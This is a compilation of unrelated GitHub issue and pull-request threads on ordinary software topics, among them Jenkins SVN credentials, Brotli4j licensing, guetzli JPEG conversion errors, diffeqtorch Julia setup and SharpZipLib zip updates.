Don't know if you found stack overflow links like this one @mluyo3414 :  https://stackoverflow.com/questions/17464993/jenkins-cannot-access-to-svn-https
It discusses some of the possible causes and solutions.
Also found https://confluence.atlassian.com/jirakb/connecting-to-a-subversion-repository-fails-due-to-svn-authentication-required-for-error-120521552.html
Lastly, look for the jenkins doc on how to

import ssl certs
define credentials, which the svn plugin can use
try the jenkinsci-users groups ... you can find existing discussions like https://groups.google.com/forum/#!msg/jenkinsci-users/axpKBTmI_RI/KrF9qwlO_YgJ or you can post a new thread


How to get user's first name or last name in facebook messenger using bot composer

Bot Info
-SDK Platform: .NET
-SDK Version: 3.0.10.
-Active Channels: WebChat, Facebook
-Deployment Environment: Azure App Service
Issue Description:
I m taking Http request. I put there url of  Graph Api Explorer of my facebook developer account where I keep my bot page, Here I m getting the the user's first name , But the problem is while I m testing it in another device on different facebook account I m getting  my name in another messenger account.
I want to display the first name as per there respective account of the user. I am waiting for reply

#1958 Similar to this request.
Channel data informations is not supported


Improve messaging around sorted parquet columns for index

[x] Tests added / passed
[x] Passes black dask / flake8 dask

Fixes #5260

Thanks!


Updates git ignore for apko and melange and adds melange and apko files + example2 to build the container

Add melange and apko files + example2 to build the container

Currently checking this behaviour with puma and rack, build package and adding it to apko works perfectly:
🤯 docker run -ti  wolfi-base:test-arm64
/ # bundle config set --local path vendor/bundle
/ # bundle install
Don't run Bundler as root. Installing your bundle as root will break this application for all non-root users on this machine.
Using bundler 2.4.8
Using nio4r 2.5.8
Using puma 6.1.1
Using rack 1.6.13
Using rack-protection 1.5.5
Using tilt 2.1.0
Using sinatra 1.4.8
Bundle complete! 2 Gemfile dependencies, 7 gems now installed.
Bundled gems are installed into `./vendor/bundle`
/ # bundle exec ruby myapp.rb
/vendor/bundle/ruby/3.2.0/gems/sinatra-1.4.8/lib/sinatra/base.rb:1773:in `detect_rack_handler': Server handler (thin,puma,reel,HTTP,webrick) not found. (RuntimeError)
	from /vendor/bundle/ruby/3.2.0/gems/sinatra-1.4.8/lib/sinatra/base.rb:1438:in `run!'
	from /vendor/bundle/ruby/3.2.0/gems/sinatra-1.4.8/lib/sinatra/main.rb:25:in `block in <module:Sinatra>'
/ # bundle exec puma
Puma starting in single mode...
* Puma version: 6.1.1 (ruby 3.2.1-p31) ("The Way Up")
*  Min threads: 0
*  Max threads: 5
*  Environment: development
*          PID: 6
2023-03-25 18:12:14 +0000 ERROR: No application configured, nothing to run
/ #
```


License

I'd like to migrate from the unmaintained project https://github.com/MeteoGroup/jbrotli to your project, however Brotli4j is currently only released under GPL.
GPL makes it nearly impossible to use Brotli4j in any project in the Java eco system. None of the popular Java frameworks/libraries (Netty, Spring, Quarkus, Dropwizard, Grails, Wicket...) is released under GPL. We are also releasing our open source code under either Apache or Eclipse license.
I am not sure if your license choice is actually legal as you are linking against/using brotli which is released under MIT license.
Please reconsider your license choice and either switch to a permissive license (BSD, MIT, Apache) or dual license the code.
A good overview of OS licenses can be found here https://choosealicense.com/appendix/
Thanks a lot for your good work!

I agree with you. GPL ain't right for this project. I'm gonna migrate to Apache License 2.0.
Probably by end of this week, I will add support for macOS binary and release under Apache License 2.0.

I agree with you. GPL ain't right for this project. I'm gonna migrate to Apache License 2.0.
Probably by end of this week, I will add support for macOS binary and release under Apache License 2.0.

Awesome!

Awesome!

A good deal of the code in this repo actually originates from Brotli's official repository, eg https://github.com/google/brotli/blob/master/java/org/brotli/wrapper/dec/DecoderJNI.java vs https://github.com/hyperxpro/Brotli4j/blob/main/brotli4j/src/main/java/com/aayushatharva/brotli4j/decoder/DecoderJNI.java.
Why not keep the original MIT license? This would avoid any license conflict and guarantee compatibility with Apache 2 license.

A good deal of the code in this repo actually originates from Brotli's official repository, eg https://github.com/google/brotli/blob/master/java/org/brotli/wrapper/dec/DecoderJNI.java vs https://github.com/hyperxpro/Brotli4j/blob/main/brotli4j/src/main/java/com/aayushatharva/brotli4j/decoder/DecoderJNI.java.
Why not keep the original MIT license? This would avoid any license conflict and guarantee compatibility with Apache 2 license.

sounds good too.

sounds good too.

I will keep Brotli's original license (MIT) in Brotli source files. Rest source file will contain Apache License 2.0.

I will keep Brotli's original license (MIT) in Brotli source files. Rest source file will contain Apache License 2.0.


docs(developer-guides): incorrect QuickStart link in How to Read this…

… Guide section
quickstart -> quickstart.html prevent 404 page

@wardbell is this how links in the docs project work?
Otherwise LGTM!

Yup. My bad. Thanks for the catch.
I keep making this mistake because every other CMS I've ever worked with added '.html' by default


Handle out of order execution

resolves #41

Pull Request Test Coverage Report for Build 8b90b3c90360167aecdab4dafcf37f7021db0ab1-PR-43

2 of 2 (100.0%)  changed or added relevant lines in 1 file are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 46.765%

Totals

Change from base Build b594fa85426ebb12a74dc70d27db88e853399b5e:
0.0%

Covered Lines:
159

Relevant Lines:
340

💛  - Coveralls


Dev

new release 0.1.14

just minor changes - bumped version and temporarily removed "Highlighted"


Open source quick start on AWS

Enabling you to get started with Snowplow open source in less than a day, if not an hour!
We are building a set of terraform modules that will set up required infra & apps to deliver behavioural data to s3, kinesis & Postgres using the Snowplow OSS.

https://discourse.snowplowanalytics.com/t/open-source-quick-start-launched-on-aws/5408


feat(ExecutionContext): introduce ExecutionContext.frame()

This patch introduces ExecutionContext.frame() that returns Frame
associated with this Execution Context.
This allows to associate console messages with the originating frame,
if any.

Why do we need to associate console messages with frames?

@JoelEinbinder IIRC, someone wanted to wait for the frame to load relying on the console.log it emitted. I found this patch locally; someone on the bugtracker wanted this sometime ago.


Add Bootstrap 4

NOTE: Do not merge until branch api-module-removal is merged!!!
Add Bootstrap 4 (SCSS) into the webapp.

Superseded by #40.


Opinionated rewrite of message names

I want to build this PR as I go, changing names to things that make sense and simplifying wherever I go. This is projected for v1.3, we're at v1.1 at time of writing.
Feedback is welcomed and encouraged.

@rastapasta, @AeonLucid, it's about ready to have a look. Don't mind the build errors, it's about the general gist. Definitely check out Networking.
Also it's really no shame for a submessage to live in the same file (Unknown6), that's what it's for.

Alright we need to have a serious talk about enums. What's up with having their value names prefixed with the enum name? I don't go around saying COLOR_YELLOW. A lot of enums do this and it prevents any enums from having values in common, which some will have. For libraries using strings instead of int values of enums, this is great.
Also it makes more sense to say Item.POKEBALL than Item.ITEM_POKEBALL. Right?

 Most of the rest still stands though.

I like this PR. The enums and general structure of this have been annoying me a little (I re-structured it myself locally, but didn't think it was PR-worthy heh)

Please let me know if this is still relevant.


FIX: More tolerant

Closes #2976.
@kambysese can you confirm this works for you? It seems to work for both bad_306a_am_raw and bad_129a_am_raw that you sent me.

I am happy if @kambysese is happy

@Eric89GXL works for me, looking forward to long lasting happiness!

Thanks for the quick looks


布局组件，给layout添加边框会导致高度一直自增

Describe the bug
布局组件，给layout添加边框会导致高度一直自增
Reproduction
无
Steps to reproduce
Vexip UI Version: v2.1.22

System Info
无

Validations

[X] Read the Contributing Guidelines.
[X] Read the docs.
[X] Check that there isn't already an issue that reports the same bug to avoid creating a duplicate.
[X] Make sure this is a Vexip UI issue.
[X] The provided reproduction is a minimal reproducible example of the bug.

Vexip UI Playground

@ryuhangyeong Yes, explicitly set the height to Layout is a workaround.


build: add py3.12, remove py3.8; use Debian 12

[ ] #225 Add support for py3.12
[x] #224 Remove support for py3.8 (end of life: 2024-10)
[x] #226 Use Python images built based on Debian Bookworm (v12) instead of Debian Bullseye (v11; end of life: 2024-07)

Closing this because we now have individual issues.


Dark mode

Can you please make a dark mode. light hurts my eyes

Haha! In the works... Coming out this weekend. :blush:

:+1:

:100:

:+1:

:+1:

Thanks! 🤗

:+1:

:+1:

Dark mode would be excellent. Any update on whether this will be shipping soon?

@iansinnott Sorry - I have been much more busy than anticipated this year so far, but this has been in the back of my mind. Hoping to get it done within the next week or so if possible.

No worries man, I know how it can be. Just glad to know it's still on your radar

Progress! :fire:

:+1:

:+1:

Oh this is good @noahbuscher 😀

@sandhub @lachlanjc :blush:

Can't wait too long! release it now

\o/ my idea is becoming reality


Add support for SHIFT_LEFT (<<) operator and other assignment operato…

PR Description

Related Issue

#181
shader Sample

Checklist

[ ] Have you added the necessary tests?
[ ] Only modified the files mentioned in the related issue(s)?
[ ] Are all tests passing?

@samthakur587 PTAL


Error: julia sysimage not set.

Hello,
I followed the instructions to import the diffeqtorch package and I keep getting an error about the sysimage. Do you know how I could solve this? THanks
PS: I am using julia 1.1.0
Python 3.9.13 (main, Aug 25 2022, 23:26:10)
[GCC 11.2.0] :: Anaconda, Inc. on linux
Type "help", "copyright", "credits" or "license" for more information.

import diffeqtorch
/project/ug/guestug5/Documents/diffeqtorch/diffeqtorch/diffeqtorch.py:29: UserWarning: JULIA_SYSIMAGE_DIFFEQTORCH not set
warn("JULIA_SYSIMAGE_DIFFEQTORCH not set")

To follow up on that, what about this Julia package made you choose it over integrating the ODEs in Python? IF the issue is not resolved do you think I could just do the latter?
Many thanks.

diffeqtorch currently requires Julia ≤1.5 due to an upstream issue, see https://github.com/sbi-benchmark/diffeqtorch/issues/3.
This package is using Julia for its autodiff support and speed. Depending on your application, using Python might be fine as well.


Feat/integrate ai chat

We'll need to move the AI stuff to a dedicated service. For testing, this seems fine, but we run the risk of exposing our api key.

See #36, #37, #38, etc..

all relevant changes copied to main


failed to convert some images.

e.g.,
black and white jpg image, such as "cmd.exe" screenshort can't be converted using guetzli.
guetzli shows an error and exit automatically.
guetzli in.jpg out.jpg
Actual result:
Didn't create out.jpg
Expected result:
Just create a copy for the result. (copy in.jpg to out.jpg)

Please provide an example of such an image and the error message you receive.

Using the 32-bit guetzli executable, I am unable to reproduce this on Windows. I am using a screenshot of command prompt, as listed above with background color set to rgb(0,0,0) and text color set to rgb(255,255,255).
Original image size: 7.00kb. Compressed image size: 5.84kb.
I'm attaching my original image for you to try @wetubeyou

@robryk @x4nt
Using 64bit executable.
I've uploaded a file which I found. (this is not mine so don't reupload) Let me know when you got it so I can delete it.
https://www.sendspace.com/file/lwvzjc

@wetubeyou Could you just upload an image file instead of a zip?

@wetubeyou
Add a data point
$ guetzli b455855db158cd12897cd242df2f81c0.jpg out.jpg
Only YUV color space input jpeg is supported
Guetzli processing failed

Tested on my Macbook Pro, guetzli installed with brew.

@x4nt There's a reason why I've upload a zip instead of raw jpg. Many online file uploader modifies the image file after upload. This "sample" should not be tampered, so I simply zipped it. I'm sorry for not gaining your satisfaction. In the meantime, @shadowwalker tried out its image.

Yet another image example which Guetzli failed to convert(same error above)
https://www.sendspace.com/file/fh2htl

@wetubeyou I suggest you stop testing on these white and black pictures. Because if you read the README.md, there is some hint about what it's supporting.

Note: Guetzli assumes that input is in sRGB profile with a gamma of 2.2. Guetzli will ignore any color-profile metadata in the image.

Besides this, per my understanding, guetzli is not designed to recompress those black and white pictures. As it's taking advantage of human vision pattern in it's compression process. It simply doesn't make sense to recompress something there is nowhere to improve, in another words, the traditional jpeg algorithms is doing pretty well on those pictures.
If you insist testing on those pictures, you can first convert them in sRGB profile using some tools. Then test it, it should be working. It's not about the color, it's just the profile is not correct.
I tested on a screenshot I took, it improves from 1MB to 992KB, almost no improvement but waste a lot of CPU time.
Enjoy hacking!

Actual result:
Didn't create out.jpg
Expected result:
Just create a copy for the result. (copy in.jpg to out.jpg


add or delete files error

Steps to reproduce

i generate a compressed file
i want to update or delete some of them

Expected behavior
files can successfully update or delete
Actual behavior
1.some files success,they're all at the root dir,such as:"Test.txt"
2.some files error,they're all at subdirectory,such as : "Test\Test.txt";and return "Cannot find entry to delete" exception.
3.when i scan the source code,i find that it maybe can't find the specified file name in the dictionary updateIndex_ using the file name;but when i debug the program ,i find the file name is completly the same as the key;and i can also find the file using method FindEntry or GetEntry.
Version of SharpZipLib :<IP_ADDRESS>8
Obtained from (only keep the relevant lines)

Compiled from source, commit: _______
Downloaded from GitHub √
Package installed using NuGet

Could you provide some code that describes your problem?
Version 0.86 is not supported, have you tried using v1.0?

Could you provide some code that describes your problem?
Version 0.86 is not supported, have you tried using v1.0?

Here's  my code for adding file to the compressed file:
using (var zipStream = File.Open(zipPath, FileMode.OpenOrCreate, FileAccess.ReadWrite,
FileShare.ReadWrite))
{
using (var zipFile = new ZipFile(zipStream))
{
zipFile.UseZip64 = UseZip64.On;
zipFile.IsStreamOwner = true;//the two properties have no effect
zipFile.BeginUpdate();
zipFile.Add(fileDataSource,entryName,CompressionMethod.Deflated);
//which inherited from the interface IStaticDataSource
zipFile.CommitUpdate();
zipFile.Close();
}
}
when I add a file at the root directory,it works,such as "Test.txt";but when I update a file at a sub-directory which exist an old one,it shows two files with the same name,and the length of the compressed file is doubled,such as "Test\Test.txt".
ps:I've tried to installed the nuget package to my program ,but it shows that it can't be installed to a .NetFramework version=4.0 , and my program is only allowed to use the version 4.0

Could you provide some code that describes your problem?
Version 0.86 is not supported, have you tried using v1.0?

btw,I can just find the DLL of 0.86 version,and v1.0 can only find a nuget-package which can not installed T^T
Is v1.0 don't support .net 4.0?

You can open the package with any zip program (7zip, winrar, etc.). The DLL is in the lib\net45 folder.
Hope that helps!

The issue you are experiencing might have been fixed by the PR above this comment, but unfortunately, no, .NET 4.0 is not supported.
You can get the Nuget package with the fixes here:
https://ci.appveyor.com/project/icsharpcode/sharpziplib/builds/21365536/job/ye2ljnut390yyxl8/artifacts